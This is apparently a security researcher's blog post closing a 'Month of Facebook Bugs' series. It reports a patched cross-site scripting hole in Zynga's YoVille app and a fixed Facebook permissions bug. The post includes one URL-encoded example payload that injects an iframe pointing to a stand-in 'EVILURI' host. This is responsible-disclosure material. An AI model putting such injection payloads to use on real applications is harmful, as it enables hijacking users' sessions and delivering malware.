Update (Oct. 8): I got word about three hours ago from Facebook that a fix was being pushed for the first issue posted here (the extended permissions bug). I just checked and can confirm the patch: Applications no longer receive extended permissions on authorization, and the applications that had been mistakenly authorized no longer have those permissions. Good work, Facebook.

Facebook Instapaper Twitter Digg FriendFeed Delicious Google Bookmarks Yahoo Bookmarks Share/Bookmark

FAXX Hack: YoVille

We’ve come to the end in the Month of Facebook Bugs – today’s post marks the last published FAXX Hack for September. The series began with a vulnerability in the no. 1 Facebook application, FarmVille from Zynga. Today we end with a very similar hole in another major Zynga application, discovered about two weeks ago.

I have much to cover in recapping this month, and it will likely take a few days to put everything together. I plan on posting a full report that includes statistics and more detailed explanations on how some of these hacks work. Also, as promised, I intend to post demonstration code showing how these holes can be exploited to access user information and spread virally, in addition to standard XSS issues, such as delivering malware.

Thanks for your interest in the Month of Facebook Bugs, and please stay tuned for the upcoming final report.

Facebook Verified Application

Current Monthly Active Users: 17,944,265

Current Rank on Application Leaderboard: 9

Application Developer: Zynga

Responsiveness: Zynga has been one of the most responsive developers I contacted. They replied back quickly and patched the hole soon after.

Vulnerability Status: Patched

Example URI: http://apps.facebook.com/yoville/index.php?type=%22%2F%253E%253Cfb%253Aiframe%2Bsrc%253D%2522%22%3E%3Cfb%3Aiframe+src%3D%22http%3A%2F%2FEVILURI%2F

Facebook Instapaper Twitter Digg FriendFeed Delicious Google Bookmarks Yahoo Bookmarks Share/Bookmark

1 15 16 17 18 19 35